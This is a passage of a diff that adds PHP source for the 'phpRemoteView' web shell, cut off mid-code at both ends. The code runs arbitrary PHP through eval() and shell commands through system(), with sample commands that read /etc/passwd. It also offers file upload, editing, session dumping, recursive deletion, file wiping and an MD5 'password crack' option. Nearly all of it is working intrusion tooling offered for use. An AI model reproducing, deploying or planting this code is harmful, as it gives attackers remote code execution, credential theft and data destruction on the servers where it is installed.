&& $cn[$n]==$kk?" selected":"").">$vv"; + echo "</select>"; + } + echo "</tr>"; + } + echo "</table><P>"; + + echo "<b><u>".mm("Date/time format")."</u></b>: <input type=text name=datetime value=\"$cp[2]\"><br> + d - day, m - month, y - year2, Y - year4, H - hour, m - minute, s - second<P>"; + + echo "<b><u>".mm("Panel font & size")."</u></b>: + <input type=text name=fontname value=\"$cp[3]\" size=12> + <input type=text name=fontsize value=\"$cp[4]\" size=2>pt<P>"; + + echo "<P><center><input type=submit value='&nbsp; &nbsp; S &nbsp; U &nbsp; B &nbsp; M &nbsp; I &nbsp; T &nbsp; &nbsp;'></center></form>"; + + + echo "<hr size=1 noshade>"; + break; + + + +// view +case "v": + + + if (!isset($fnot)) $fnot=0; + if (!isset($ftype)) $ftype=0; + + if ($fnot==0) { + echo $GLOBALS['html']; + up($d,$f); + echo "<a href=$self?&c=l&d=".urlencode($d)."><nobr>&lt;&lt;&lt;<b>".mm("back to directory")."</b> &gt;&gt;&gt;</nobr></a>"; + up_link($d,$f); + echo "<hr size=1 noshade>"; + } + if (!realpath($d.$f) || !file_exists($d.$f)) exit("".mm("file not found").""); + if (!is_file($d.$f) || !$fi=@fopen($d.$f,"rb")) exit("<p><font color=red><b>".mm("access denied")."</b></font>"); + + if ($ftype==0 || $ftype==4) { + $buf=fread($fi,max(filesize($d.$f),$maxsize_fread)); + fclose($fi); + } + + + switch ($ftype) { + + case 0: + echo "<pre>".htmlspecialchars($buf)."</pre>"; + break; + + case 1: + readfile($d.$f); + break; + + case 2: + header("Content-type: image/gif"); + readfile($d.$f); + break; + + case 3: // download + + if (isset($fatt) && strlen($fatt)>0) { + $attach=$fatt; + header("Content-type: text/plain"); + } + else { + $attach=$f; + header("Content-type: phpspbru"); + } + header("Content-disposition: attachment; filename=\"$attach\";"); + readfile($d.$f); + break; + + case 4: // session + + echo "<xmp>"; + if (substr($f,0,5)=="sess_" && preg_match("!^sess_([a-z0-9]{32})$!i",$f,$ok)) { + ini_set("session.save_path",$d); + session_id($ok[1]); + session_start(); + print_r($_SESSION); + } + else { + print_r(unserialize($buf)); + } + echo "</xmp>";//<hr size=1 noshade><xmp>"; + break; + + } + + break; + + + + + + + +case "i": // information for FILE + + echo $GLOBALS['html']; + up($d,$f); + echo "<a href=$self?&c=l&d=".urlencode($d)."><nobr>&lt;&lt;&lt;<b>".mm("back to directory")."</b> &gt;&gt;&gt;</nobr></a>"; + up_link($d,$f); + + if (!realpath($d.$f) || !file_exists($d.$f)) exit(mm("file not found")); + + echo "<P><big><b><tt>".htmlspecialchars($d.$f)."</tt></b></big><P>"; + echo "<table class=tab border=0 cellspacing=1 cellpadding=2>"; + echo "<tr class=tr><td>".mm("Size")." </td><td> ".filesize($d.$f)."</td></tR>"; + echo "<tr class=tr><td>".mm("Owner")."/".mm("Group")." </td><td> "; + $tmp=@_posix_getpwuid(fileowner($d.$f)); + if (!isset($tmp['name']) || $tmp['name']=="") echo fileowner($d.$f)." "; + else echo $tmp['name']." "; + $tmp=@_posix_getgrgid(filegroup($d.$f)); + if (!isset($tmp['name']) || $tmp['name']=="") echo filegroup($d.$f); + else echo $tmp['name']; + echo "<tr class=tr><td>".mm("FileType")." </td><td> ".filetype($d.$f)."</td></tr>"; + echo "<tr class=tr><td>".mm("Perms")." </td><td> ".display_perms(fileperms($d.$f))."</td></tr>"; + echo "<tr class=tr><td>".mm("Create time")." </td><td> ".date("d/m/Y H:i:s",filectime($d.$f))."</td></tr>"; + echo "<tr class=tr><td>".mm("Access time")." </td><td> ".date("d/m/Y H:i:s",fileatime($d.$f))."</td></tr>"; + echo "<tr class=tr><td>".mm("MODIFY time")." </td><td> ".date("d/m/Y H:i:s",filemtime($d.$f))."</td></tr>"; + echo "</table><P>"; + + $fi=@fopen($d.$f,"rb"); + if ($fi) { + $str=fread($fi,$hexdump_lines*$hexdump_rows); + echo "<b>".mm("HEXDUMP PREVIEW")."</b>"; + $n=0; + $a0="00000000<br>"; + $a1=""; + $a2=""; + for ($i=0; $i<strlen($str); $i++) { + $a1.=sprintf("%02X",ord($str[$i])).' '; + switch (ord($str[$i])) { + case 0: $a2.="<font class=s2>0</font>"; break; + case 32: + case 10: + case 13: $a2.="&nbsp;"; break; + default: $a2.=htmlspecialchars($str[$i]); + } + $n++; + if ($n==$hexdump_rows) { + $n=0; + if ($i+1<strlen($str)) $a0.=sprintf("%08X",$i+1)."<br>"; + $a1.="<br>"; + $a2.="<br>"; + } + } + //if ($a1!="") $a0.=sprintf("%08X",$i)."<br>"; + echo "<table border=0 bgcolor=#cccccc cellspacing=1 cellpadding=4 ". + "class=sy><tr><td bgcolor=#e0e0e0>$a0</td><td bgcolor=white>". + "$a1</td><td bgcolor=white>$a2</td></tr></table><p>"; + } + + echo "<b>Base64: </b> + <nobr>[<a href=$self?c=base64&c2=0&d=".urlencode($d)."&f=".urlencode($f).">Encode</a>]&nbsp;</nobr> + <nobr>[<a href=$self?c=base64&c2=1&d=".urlencode($d)."&f=".urlencode($f).">+chunk</a>]&nbsp;</nobr> + <nobr>[<a href=$self?c=base64&c2=2&d=".urlencode($d)."&f=".urlencode($f).">+chunk+quotes</a>]&nbsp;</nobr> + <nobr>[<a href=$self?c=base64&c2=3&d=".urlencode($d)."&f=".urlencode($f).">Decode</a>]&nbsp;</nobr> + <P>"; + + + if (!$write_access) exitw(); + + $msg=""; + if (!is_file($d.$f) || !$fi=@fopen($d.$f,"r+")) $msg=" (<font color=red><b>".mm("ONLY READ ACCESS")."</b></font>)"; + else fclose($fi); + if (!is_file($d.$f) || !$fi=@fopen($d.$f,"r")) $msg=" (<font color=red><b>".mm("Can't READ file - access denied")."</b></font>)"; + else fclose($fi); + if ($msg=="") $msg=" (".mm("full read/write access").")"; + + echo "<b>".mm("FILE SYSTEM COMMANDS")."$msg</b><p>"; + + echo " +<table border=0 cellspacing=0 cellpadding=0><tr> + +<td bgcolor=#cccccc><a href=$self?c=e&d=".urlencode($d)."&f=".urlencode($f). +"><b>&nbsp;&nbsp;".mm("EDIT")."&nbsp;&nbsp;<br>&nbsp;&nbsp;".mm("FILE")."&nbsp;&nbsp;</b></a></td> +<td>&nbsp;&nbsp;&nbsp;</td> + +<td><form action=$self method=post> +<input type=hidden name=c value=delete> +<input type=hidden name=c2 value=delete> +<input type=hidden name=d value=\"".htmlspecialchars($d)."\"> +<input type=hidden name=f value=\"".htmlspecialchars($f)."\"> +<input type=submit value='".mm("DELETE")."'><small>&gt;</small><input type=checkbox name=confirm value=delete></nobr><br> +<small>".mm("Delete this file")."</small> +</td><td></form></td><td>&nbsp;&nbsp;&nbsp;</td> + +<td><form action=$self method=post> +<input type=hidden name=c value=delete> +<input type=hidden name=c2 value=clean> +<input type=hidden name=d value=\"".htmlspecialchars($d)."\"> +<input type=hidden name=f value=\"".htmlspecialchars($f)."\"> +<input type=submit value='".mm("CLEAN")."'><small>&gt;</small><input type=checkbox name=confirm value=touch></nobr><br> +<small>".mm("filesize to 0byte")."</small> +</td><td></form></td><td>&nbsp;&nbsp;&nbsp;</td> + +<td><form action=$self method=post> +<input type=hidden name=c value=delete> +<input type=hidden name=c2 value=touch> +<input type=hidden name=d value=\"".htmlspecialchars($d)."\"> +<input type=hidden name=f value=\"".htmlspecialchars($f)."\"> +<input type=submit value='".mm("TOUCH")."'><small>&gt;</small><input type=checkbox name=confirm value=touch></nobr><br> +<small>".mm("Set current 'mtime'")."</small> +</td><td></form></td><td>&nbsp;&nbsp;&nbsp;</td> + +<td><form action=$self method=post> +<input type=hidden name=c value=delete> +<input type=hidden name=c2 value=wipe> +<input type=hidden name=d value=\"".htmlspecialchars($d)."\"> +<input type=hidden name=f value=\"".htmlspecialchars($f)."\"> +<input type=submit value='".mm("WIPE(delete)")."'><small>&gt;</small><input type=checkbox name=confirm value=delete></nobr><br> +<small>".mm("Write '0000..' and delete")."</small> +</td><td></form></td><td>&nbsp;&nbsp;&nbsp;</td> +</tr></table> +"; + + echo "<form action=$self method=post><input type=hidden name=c value=copy>". + "<b>".mm("COPY FILE")."</b> ".mm("from")." <input type=text size=40 name=from value=\"".htmlspecialchars($d.$f)."\">". + " ".mm("to")." <input type=text name=to size=40 value=\"".htmlspecialchars($d.$f)."\">". + "<nobr><input type=submit value='".mm("COPY")."!'>". + "&gt;<input type=checkbox name=confirm value=copy></nobr></form>"; + +echo " +<form action=$self method=post> +<b>".mm("MAKE DIR")."</b> (".mm("type full path").") +<input type=hidden name=c value=newdir_submit> +<input type=text size=60 name=df value=\"".htmlspecialchars($d)."\"> +<input type=submit value='".mm("MkDir")."'> +</form>"; + + +echo " +<form action=$self method=post> +<b>".mm("CREATE NEW FILE or override old file")."</b><br> +<input type=hidden name=c value=newfile_submit> +".mm("Full file name")." <input type=text size=50 name=df value=\"".htmlspecialchars($d.$f)."\"> +<input type=submit value='".mm("CREATE/OVERRIDE")."'> +<input type=checkbox name=confirm value=1 id=conf1><label for=conf1>&lt;=confirm</label><br> +<textarea name=text cols=70 rows=10 style='width: 100%;'></textarea><br> +</form>"; + +echo " +<form enctype='multipart/form-data' action='$self' method=post> +<input type=hidden name=c value=fileupload_submit> +<b>FILE UPLOAD: ".mm("CREATE NEW FILE or override old file")."</b><br> +<input type=hidden name='MAX_FILE_SIZE' value=999000000> +1. ".mm("select file on your local computer").": <input name=userfile type=file><br> +2. ".mm("save this file on path").": + <input name=df size=50 value=\"$d$f\"><br> +3. <input type=checkbox name=df2 value=1 id=df2 checked> + <label for=df2>".mm("create file name automatic")."</label> + &nbsp;&nbsp;".mm("OR")."&nbsp;&nbsp; + ".mm("type any file name").": + <input name=df3 size=20><br> +4. <input type=checkbox name=df4 value=1 id=df4> + <label for=df4>".mm("convert file name to lovercase")."</label><br> +<input type=submit value='".mm("Send File")."'> +</form>"; + +break; + + +case "base64": + + echo "<pre>\n"; + $ff=fopen($d.$f,"rb") or exit("<p>access denied"); + $text=fread($ff,max(filesize($d.$f),$maxsize_fread)); + fclose($ff); + switch ($c2) { + case 0: + echo base64_encode($text); + break; + case 1: + echo chunk_split(base64_encode($text)); + break; + case 2: + $text=base64_encode($text); + echo substr(preg_replace("!.{1,76}!","'\\0'.\n",$text),0,-2); + break; + case 3: + echo base64_decode($text); + break; + } + break; + + + +case "d": // information for DIRECTORY + + echo $GLOBALS['html']; + up($d,"","Directory"); + echo "<a href=$self?&c=l&d=".urlencode($d)."><nobr>&lt;&lt;&lt;<b>".mm("back to directory")."</b> &gt;&gt;&gt;</nobr></a>"; + echo "<p>"; + + //up_link($d,""); + + if (!realpath($d) || !is_dir($d.$f)) exit(mm("dir not found")); + + echo "<table border=0 cellspacing=0 cellpadding=0><tr><td>"; + + echo "<table border=0 cellspacing=1 cellpadding=1 class=tab>"; + echo "<tr class=tr><td>&nbsp;&nbsp;&nbsp;".mm("Owner")."/".mm("Group")."&nbsp;&nbsp;&nbsp;</td><td>"; + $tmp=@_posix_getpwuid(fileowner($d.$f)); + if (!isset($tmp['name']) || $tmp['name']=="") echo fileowner($d.$f)." "; + else echo $tmp['name']." "; + $tmp=@_posix_getgrgid(filegroup($d.$f)); + if (!isset($tmp['name']) || $tmp['name']=="") echo filegroup($d.$f); + else echo $tmp['name']; + echo "</td></tr><tr class=tr><td>"; + echo mm("Perms")."</td><td>".display_perms(fileperms($d.$f))."</td></tr><tr class=tr><td>"; + echo mm("Create time")."</td><td>".date("d/m/Y H:i:s",filectime($d.$f))."</td></tr><tr class=tr><td>"; + echo mm("Access time")."</td><td>".date("d/m/Y H:i:s",fileatime($d.$f))."</td></tr><tr class=tr><td>"; + echo mm("MODIFY time")."</td><td>".date("d/m/Y H:i:s",filemtime($d.$f))."</td></tr></table>"; + + echo "</tD><form action=$self method=get><td width=70>&nbsp;</td><td> + <input type=hidden name=c value=\"tree\"> + Root <input type=text name=d value=\"$d\"><br> + <input type=checkbox name=showfile value=1 id=tree1><label for=tree1>Show files in tree</label><br> + <input type=checkbox name=showsize value=1 id=tree2 checked><label for=tree2>Show dir/files size</label><br> + <input type=submit value='Show TREE directory'>"; + + echo "</td></form></tr></table><P>"; + + + + if (!$write_access) exitw(); + + echo "<b>".mm("FILE SYSTEM COMMANDS")."</b><p>"; + + echo " +<table border=0 cellspacing=0 cellpadding=0><tr> + +<td><form action=$self method=post> +<input type=hidden name=c value=dirdelete> +<input type=hidden name=c2 value=files> +<input type=hidden name=d value=\"".htmlspecialchars($d)."\"> +<input type=hidden name=ref value=\"$url\"> +<input type=submit value='".mm("Delete all files in dir")." (rm *)'><small>&gt;</small><input type=checkbox name=confirm value=delete></nobr> +</td><td></form></td><td>&nbsp;&nbsp;&nbsp;</td> + +<td><form action=$self method=post> +<input type=hidden name=c value=dirdelete> +<input type=hidden name=c2 value=dir> +<input type=hidden name=d value=\"".htmlspecialchars($d)."\"> +<input type=hidden name=ref value=\"$url\"> +<input type=submit value='".mm("Delete all dir/files recursive")." (rm -fr)'><small>&gt;</small><input type=checkbox name=confirm value=delete></nobr> +</td><td></form></td><td>&nbsp;&nbsp;&nbsp;</td> + +</tr></table> +"; + +echo " +<form action=$self method=post> +<b>".mm("MAKE DIR")."</b> (type full path) +<input type=hidden name=c value=newdir_submit> +<input type=text size=60 name=df value=\"".htmlspecialchars($d)."\"> +<input type=submit value='".mm("MkDir")."'> +</form>"; + + +echo " +<form action=$self method=post> +<b>".mm("CREATE NEW FILE or override old file")."</b><br> +<input type=hidden name=c value=newfile_submit> +".mm("Full file name")." <input type=text size=50 name=df value=\"".htmlspecialchars($d)."\"> +<input type=submit value='".mm("CREATE/OVERRIDE")."'> +<input type=checkbox name=confirm value=1 id=conf1><label for=conf1>&lt;=confirm</label><br> +<textarea name=text cols=70 rows=10 style='width: 100%;'></textarea><br> +</form>"; + +echo " +<form enctype='multipart/form-data' action='$self' method=post> +<input type=hidden name=c value=fileupload_submit> +<b>(FILE UPLOAD) ".mm("CREATE NEW FILE or override old file")."</b><br> +<input type=hidden name='MAX_FILE_SIZE' value=999000000> +1. ".mm("select file on your local computer").": <input name=userfile type=file><br> +2. ".mm("save this file on path").": + <input name=df size=50 value=\"".realpath($d)."/\"><br> +3. <input type=checkbox name=df2 value=1 id=df2 checked> + <label for=df2>".mm("create file name automatic")."</label> + &nbsp;&nbsp;".mm("OR")."&nbsp;&nbsp; + ".mm("type any file name").": + <input name=df3 size=20><br> +4. <input type=checkbox name=df4 value=1 id=df4> + <label for=df4>".mm("convert file name to lovercase")."</label><br> +<input type=submit value='".mm("Send File")."'> +</form>"; + + +break; + + + +case "tree": + +$tcolors=array( +'eee','ddd','ccc','bbb','aaa','999','888','988','a88','b88','c88','d88','e88','d98', +'ca8','bb8','ac8','9d8','8e8','8d9','8ca','8bb','8ac','89d','88e'); + +function dir_tree($df,$level=0) { + global $tcolors,$self; + + $df=str_replace("//","/",$df); + $dirs=array(); + $files=array(); + if ($dir=opendir($df)) { + while (($file=readdir($dir))!==false) { + if ($file=="." || $file=="..") continue; + if (is_dir("$df/$file")) { + $dirs[]=$file; + } + else { + $files[]=$file; + } + } + } + closedir($dir); + + sort($dirs); + sort($files); + + $i=min($level,count($tcolors)-1); + $c=$tcolors[$i][0].$tcolors[$i][0].$tcolors[$i][1].$tcolors[$i][1].$tcolors[$i][2].$tcolors[$i][2]; + + echo "\r\n\r\n\r\n + <table width=100% border=0 cellspacing=2 cellpadding=1><tr><td bgcolor=#000000> + <table width=100% border=0 cellspacing=0 cellpadding=1 bgcolor=#$c> + <tr><td colspan=3 class=dir>". + "<a href=$self?c=l&d=".urlencode($df)." class=dir><img src=$self?name=dir&c=img&1 border=0>". + $df."</a></td></tr>"; + + if (count($dirs) || count($files)) { + echo "<tr><td width=15>&nbsp;</td><td class=all width=97%>"; + for ($i=0; $i<count($files); $i++) { + echo $files[$i]." "; + } + for ($i=0; $i<count($dirs); $i++) { + dir_tree($df."/".$dirs[$i],$level+1); + } + echo "</td><td width=10>&nbsp;</td></tr>"; + } + echo '</table></td></tr></table>'; +} + + echo " + <STYLE> + .all { + font-family: Verdana; + font-size: 80%; + } + .dir { + font-family: Verdana; + font-size: 95%; + background: #666699; + font-weight: bold; + color: white + } + </STYLE>"; + echo $GLOBALS['html']; + + up($d,"","Directory"); + echo "<a href=$self?&c=l&d=".urlencode($d)."><nobr>&lt;&lt;&lt;<b>".mm("back to directory")."</b> &gt;&gt;&gt;</nobr></a>"; + echo "<p>"; + dir_tree($d); + break; + + + +case "delete": + + if (!$write_access) exitw(); + + if (!isset($c2)) exit("err# delete 1"); + if (!isset($confirm) || strlen($confirm)<3) exit("".mm("Confirm not found (go back and set checkbox)").""); + echo "<a href=$self?&c=l&d=".urlencode($d)."><nobr>&lt;&lt;&lt;<b>".mm("back to directory")."</b> &gt;&gt;&gt;</nobr></a><p>"; + if (!isset($d) || !isset($f) || !@file_exists($d.$f) || !@realpath($d.$f)) + exit("".mm("Delete cancel - File not found").""); + if (realpath(getenv("SCRIPT_FILENAME"))==$d.$f && !isset($delete_remview_confirm)) + exit(mm("Do you want delete this script (phpRemoteView) ???")."<br><br><br><br> + <a href='$self?c=delete&c2=$c2&confirm=delete&d=".urlencode($d)."&f=".urlencode($f)."&delete_remview_confirm=YES'>[".mm("YES").", ".mm("DELETE")." <b>".mm("ME")."</b>]</a> + &nbsp; &nbsp; &nbsp; + <a href='javascript:history.back(-1)'>[".mm("NO (back)")."]</a>"); + + switch ($c2) { + case "delete": + //exit("$d $f"); + ob(); + if (!unlink($d.$f)) + obb().exit("<font color=red><b>".mm("Delete cancel")." - ".mm("ACCESS DENIED")."</b></font>$obb"); + Header("Location: $self?c=l&d=".urlencode($d)); + echo "<P><a href=$self?c=l&d=".urlencode($d).">".mm("done (go back)")."!</a><p>"; + echo "".mm("Delete ok").""; + break; + case "touch": + ob(); + if (!touch($d.$f)) + obb().exit("<font color=red><b>".mm("Touch cancel")." - ".mm("ACCESS DENIED")."</b></font>$obb"); + Header("Location: $self?c=i&d=".urlencode($d)."&f=".urlencode($f)); + echo "<a href=$self?c=i&d=".urlencode($d)."&f=".urlencode($f).">".mm("done (go back)")."!</a><p>"; + echo "".mm("Touch ok (set current time to 'modify time')").""; + break; + case "clean": + ob(); + $fi=fopen($d.$f,"w+") or + obb().exit("<font color=red><b>".mm("Clean (empty file) cancel")." - ".mm("ACCESS DENIED")."</b></font>obb"); + ftruncate($fi,0); + fclose($fi); + Header("Location: $self?c=i&d=".urlencode($d)."&f=".urlencode($f)); + echo "<a href=$self?c=i&d=".urlencode($d)."&f=".urlencode($f).">".mm("done (go back)")."!</a><p>"; + echo "".mm("Clean ok (file now empty)").""; + break; + case "wipe": + $size=filesize($d.$f); + ob(); + $fi=fopen($d.$f,"w+") or + obb().exit("<font color=red><b>".mm("Wipe cancel - access denied")."</b></font>$obb"); + $str=md5("phpspbru".mt_rand(0,999999999).time()); + for ($i=0; $i<5; $i++) $str.=$str; // strlen 1024 byte + for ($i=0; $i<intval($size/1024)+1; $i++) fwrite($fi,$str); + fclose($fi); + ob(); + if (!unlink($d.$f)) + obb().exit("err# delete 2 - file was rewrite, but not delete...(only write access, delete disable)$obb"); + Header("Location: $self?c=l&d=".urlencode($d)); + echo "<a href=$self?c=i&d=".urlencode($d).">".mm("done (go back)")."!</a><p>"; + echo "".mm("Wipe ok (file deleted)").""; + break; + } + + //Header("Location: $self?c=l&d=".urlencode(dirname($df))); + //echo "<a href=$self?c=i&d=".urlencode(dirname($df)).">SAVE NEW FILE DONE (go back)!</a>"; + + break; + + +case "dirdelete": + + if (!$write_access) exitw(); + +function dir_delete($df) { + echo "<b>".basename($df)."</b><ul>"; + if ($dir=opendir($df)) { + $i=0; + while (($file=readdir($dir))!==false) { + if ($file=="." || $file=="..") continue; + if (is_dir("$df/$file")) { + dir_delete($df."/".$file); + } + else { + echo "$file<br>"; + echo "".mm("DELETE")." <tt>$df/$file</tt> ...<br>"; + unlink($df."/".$file); + } + $i++; + } + //if ($i==0) echo "-empty-<br>"; + } + closedir($dir); + echo "</ul>"; + echo "".mm("DELETE")." ".mm("DIR")." <tt>$df</tt> ...<br>"; + rmdir("$df/$file"); +} + + if (!isset($c2)) exit("error dirdelete 1"); + if (!isset($confirm)) exit("".mm("Confirm not found (go back and set checkbox)")."!"); + $df="$d"; + + switch ($c2) { + + case "files": + echo "<h3>".mm("Deleting all files in")." <tt>$df</tt> ..</h3>"; + if ($dir=opendir($df)) { + while (($file=readdir($dir))!==false) { + if ($file=="." || $file=="..") continue; + if (is_dir($df.$file)) { + echo "<big><tt><b>>$file</b></tt></big> ".mm("skip").": ".filetype($df.$file)."<br>"; + } + elseif (is_file($df.$file)) { + echo "<big><tt><b><font color=red>$file</font></b></tt></big> ".mm("deleting")."..."; + unlink($df.$file); + echo "<br>"; + } + else { + echo "<big><tt><b>$file</b></tt></big> ".mm("skip").": ".filetype($df.$file)."<br>"; + } + } + } + closedir($dir); + $ref="$self?c=l&d=".urlencode($d); + break; + + case "dir": + echo "<h3>".mm("Deleting all dir/files (recursive) in")." <tt>$df</tt> ...</h3>"; + dir_delete($df); + $ref="$self?c=l&d=".urlencode(realpath($d."/..")); + break; + } + //header("Location: $ref"); + echo "<p><a href=$ref>".mm("DONE, go back")."</a>"; + break; + +case "copy": + + if (!$write_access) exitw(); + + if (!isset($from) || !@file_exists($from) || !@realpath($from)) + exit("err# copy 1, file [$from] not found"); + if (!isset($to) || strlen($to)==0) + exit("err# copy 2, file [$to] not found"); + echo "Copy: ....<hr size=1 noshade>"; + if (!copy($from,$to)) { + echo "<hr size=1 noshade><font color=red><b>Error!</b></font><p>"; + echo "View <a href=$self?c=l&d=".urlencode(dirname($from)).">".dirname($from)."<p>"; + } + else + echo "".mm("DONE")."!<p>"; + echo "View <a href=$self?c=l&d=".urlencode(dirname($from)).">".dirname($from)."</a> (dir 'from')<p>"; + echo "View <a href=$self?c=l&d=".urlencode(dirname($to)).">".dirname($to)."</a> (dir 'to')<p>"; + break; + + + + +case "e": // edit + + if (!$write_access) exitw(); + + if (!@realpath($d.$f) || !file_exists($d.$f)) exit("".mm("file not found").""); + echo $GLOBALS['html']; + up($d,$f); + echo "<a href=$self?&c=l&d=".urlencode($d)."><nobr>&lt;&lt;&lt;<b>".mm("back to directory")."</b> &gt;&gt;&gt;</nobr></a>"; + up_link($d,$f); + $msg=""; + if (!is_file($d.$f) || !$fi=@fopen($d.$f,"r+")) $msg=" (<font color=red><b>".mm("ONLY READ ACCESS (don't edit!)")."</b></font>)"; + else fclose($fi); + if (!is_file($d.$f) || !$fi=@fopen($d.$f,"r")) $msg=" (<font color=red><b>".mm("Can't READ file - access denied (don't edit!)")."</b></font>)"; + else fclose($fi); + if ($msg=="") $msg="(<font color=#009900><b>".mm("full read/write access")."</b></font>)"; + echo "<p><b>".mm("EDIT FILE")."</b> $msg<p>"; + + if (!$fi=@fopen($d.$f,"rb")) exit("".mm("can't open, access denied").""); + echo "<form action=$self method=post> + <input type=hidden name=c value=e_submit> + <input type=hidden name=d value=\"".htmlspecialchars($d)."\"> + <input type=hidden name=f value=\"".htmlspecialchars($f)."\"> + <textarea name=text cols=70 rows=20 style='width: 100%;'>". + htmlspecialchars(fread($fi,filesize($d.$f)))."</textarea><p> + <input type=submit value=' ".mm("SAVE FILE (write to disk)")." '> + <input type=checkbox name=confirm value=1 id=conf> + <label for=conf><font color=red><b><= confirm</b></font></label> + </form>"; + + break; + + +case "e_submit": + + if (!$write_access) exitw(); + + if (!realpath($d.$f) || !file_exists($d.$f)) exit("file not found"); + if (!isset($text)) exit("err# e_submit 1"); + if (!isset($confirm)) exit("Confirm not found (go back and set checkbox)"); + if (!$fi=@fopen($d.$f,"w+")) exit("access denied"); + fwrite($fi,$text); + fclose($fi); + Header("Location: $self?c=i&d=".urlencode($d)."&f=".urlencode($f)); + echo "<a href=$self?c=i&d=".urlencode($d)."&f=".urlencode($f).">SAVE DONE (go back)!</a>"; + + break; + + + +case "newfile_submit": + + if (!$write_access) exitw(); + + if (!isset($text) || !isset($df)) exit("err# newfile_submit 1"); + if (!isset($confirm)) exit("Confirm not found (go back and set checkbox)"); + if (!$fi=@fopen($df,"w+")) exit("access denied, can't create/open [$df]"); + fwrite($fi,$text); + fclose($fi); + Header("Location: $self?c=l&d=".urlencode(dirname($df))); + echo "<a href=$self?c=i&d=".urlencode(dirname($df)).">SAVE NEW FILE DONE (go back)!</a>"; + break; + + +case "fileupload_submit": + + if (!$write_access) exitw(); + if (!isset($df)) exit("err# newfile_submit 1"); + if (!isset($df3)) exit("err# newfile_submit 2"); + + $fname=""; + if (isset($df2)) { + if (!preg_match("~([^/]+)$~",$_FILES['userfile']['name'],$ok)) { + exit("Upload failed: can't detect file name"); + } + $fname=$ok[1]; + } + else { + $fname=$df3; + } + if ($fname=="") + exit("".mm("You mast checked 'create file name automatic' OR typed file name!").""); + if (isset($df4)) $fname=strtolower($fname); + + echo "Temp file: ".$_FILES['userfile']['tmp_name']."<br>"; + echo "Origin file name: ".$_FILES['userfile']['name']."<br>"; + echo "File size: ".$_FILES['userfile']['size']."<br>"; + if ($df[strlen($df)-1]!="/") $df.="/"; + echo "".mm("SAVING TO").": <font color=blue>$df</font><font color=red><b>$fname</b></font><p>"; + + ob(); + $ok=copy($_FILES['userfile']['tmp_name'],"$df$fname"); + obb(); + if (!$ok) exit("<font color=red><b>".mm("Sorry, access denied")."</b></font> $obb"); + + if (!isset($ref)) $ref="$self?c=l&d=".urlencode($df); + Header("Location: $ref"); + echo "<a href='$ref'>NEW FILE SAVED</a>"; + + break; + + +case "newdir_submit": + + if (!$write_access) exitw(); + if (!isset($df)) exit("err# newdir_submit 1"); + ob(); + if (!mkdir($df,$mkdir_mode)) { + obb(); + exit("Access denied $obb"); + } + obb(); + if (!isset($ref)) $ref="$self?c=l&d=".urlencode($df); + Header("Location: $ref"); + echo "<a href='$ref'>Go to new directory!</a>"; + + break; + + +case "t": + + echo "<h3> + <a href='$self'>START PAGE</a> | + <a href='$self?c=t'>Eval/Shell</a> | + <a href='$self?c=codes'>Character map</a> + </h3>"; + + + if (!$write_access) exitw(); + error_reporting(2038); + + if (!isset($php)) { + $php="/* line 1 */\n\n// ".mm("for example, uncomment next line").":\nphpinfo();\n\n//readfile(\"/etc/passwd\");\n\n/* line 8 */"; + $skipphp=1; + $pre='checked'; + $nlbr=''; + $xmp=''; + $htmls='checked'; + } + + echo "<b>".mm("Eval PHP code")."</b> (".mm("don't type")." \"&lt;?\" ".mm("and")." \"?&gt;\") +<form action=$self method=post> +<input type=hidden name=c value=t> +<textarea name=php rows=".(!isset($skipphp)?10:4)." cols=60 style='width:100%;'>$php</textarea> +<input type=checkbox name=pre value='checked' $pre id='pre'> + <label for='pre'> add &lt;pre&gt;</label> &nbsp; +<input type=checkbox name=xmp value='checked' $xmp id='xmp'> + <label for='xmp'> add &lt;xmp&gt;</label> &nbsp; +<input type=checkbox name=htmls value='checked' $htmls id='htmls'> + <label for='htmls'> add htmlspecialchars()</label> &nbsp; +<input type=checkbox name=nlbr value='checked' $nlbr id='nlbr'> + <label for='nlbr'> add nl2br()</label><br> +<input type=submit></form> +<P>"; + + if (!isset($shell)) $skipshell=1; + + if (!isset($skipphp)) { + echo "<hr size=1 noshade>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n"; + if ($pre<>'') echo "<pre>"; + if ($xmp<>'') echo "<xmp>"; + if ($nlbr<>'' || $htmls<>'') { + ob_start(); + } + if ($phpeval_access) eval($php); + else die("Sorry, function eval() disabled."); + if ($nlbr<>'' || $htmls<>'') { + $tmp=ob_get_contents(); + ob_end_clean(); + if ($htmls<>'') $tmp=htmlspecialchars($tmp); + if ($nlbr<>'') $tmp=nl2br($tmp); + echo $tmp; + } + if ($xmp<>'') echo "</xmp>"; + if ($pre<>'') echo "</pre>"; + echo "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n"; + echo "</table></table></table></table></table></table></table></table></table></center></table><hr size=1 noshade>"; + } + + if (!isset($shell)) { + $shell="#".mm("example (remove comments '#')").": \n\n#cat /etc/passwd;\n\n#ps -ax\n\n#uname -a"; + $skipshell=1; + } + echo "<P><b>".mm("Shell commands")."</b> +<form action=$self method=post> +<input type=hidden name=c value=t> +<textarea name=shell rows=".(!isset($skipshell)?10:4)." cols=60 style='width:100%;'>$shell</textarea><br> +<input type=submit></form> +<P>"; + if (!isset($skipshell)) { + echo "<hr size=1 noshade>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<xmp>"; + if ($system_access) system($shell); + else die("Sorry, function system() disabled."); + echo "</xmp>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n + </table></table></table></table></table></table></table></table></table></center><hr size=1 noshade>"; + } + + + $ttype=array(1=>"MD5",7=>"Decode MD5 (password crack)<br>", + 2=>"Base64",3=>"Base64 + chunk",4=>"Base64 + chunk + quotes", + 5=>"Decode Base64<br>", + 6=>"UnixTime=>Date(".time().")", + 8=>"MKtime: YYYY MM DD [hh [mm [ss]]]<br>", + 9=>"Translit=&gt;RusText", 14=>"RusText=&gt;Translit<br>", + 10=>"cp1251=&gt;koi8r",11=>"koi8r=&gt;cp1251",12=>"cp1251=&gt;mac",13=>"mac=&gt;cp1251", + 15=>"koi8r=&gt;mac",16=>"mac=&gt;koi8r", + ); + echo "<P><b>".mm("Universal convert")."</b>"; + + echo "<a name=convert></a><form action='$self#convert' method=post>"; + foreach ($ttype as $k=>$v) + echo "&nbsp;&nbsp;<nobr><input ".($k==$name?"checked":"")." type=radio name=name value=$k id=x$k><label for=x$k>$v</label></nobr> "; + + echo " +<input type=hidden name=c value=t> +<textarea name=convert 